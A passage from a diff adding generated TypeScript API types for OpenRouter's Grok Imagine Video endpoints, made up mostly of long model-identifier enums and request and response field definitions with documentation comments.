'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoRequestModelEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoRequestModelEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoRequestModelEnum] + +export const openrouterPostVideosXAiGrokImagineVideoRequestResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoRequestResolutionEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoRequestResolutionEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoRequestResolutionEnum] + +export const openrouterPostVideosXAiGrokImagineVideoRequestSizeEnum = { + '854x480': '854x480', + '1280x720': '1280x720', + '480x854': '480x854', + '720x1280': '720x1280', + '480x480': '480x480', + '720x720': '720x720', + '640x480': '640x480', + '960x720': '960x720', + '480x640': '480x640', + '720x960': '720x960', + '720x480': '720x480', + '1080x720': '1080x720', + '480x720': '480x720', + '720x1080': '720x1080', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoRequestSizeEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoRequestSizeEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoRequestSizeEnum] + +/** + * @description SpaceXAI: Grok Imagine Video (x-ai/grok-imagine-video) — model-constrained video generation request. Grok Imagine Video is SpaceXAI's fast, text-, image-, and reference-conditioned video generation model. It produces short videos (1–15 seconds, 24 fps) at 480p or 720p across seven aspect ratios -... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideoBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosXAiGrokImagineVideoRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosXAiGrokImagineVideoRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosXAiGrokImagineVideoRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosXAiGrokImagineVideoRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosXAiGrokImagineVideoRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosXAiGrokImagineVideoOptions = { + body: OpenrouterPostVideosXAiGrokImagineVideoBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosXAiGrokImagineVideoResponses = { + '200': OpenrouterPostVideosXAiGrokImagineVideoStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosXAiGrokImagineVideoResponse = + OpenrouterPostVideosXAiGrokImagineVideoStatus200 + +export const openrouterPostVideosXAiGrokImagineVideo15Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15Status200StatusEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15Status200StatusEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosXAiGrokImagineVideo15Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosXAiGrokImagineVideo15RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15RequestAspectRatioEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15RequestAspectRatioEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15RequestAspectRatioEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15RequestDurationEnum = { + '1': 1, + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15RequestDurationEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15RequestDurationEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15RequestDurationEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 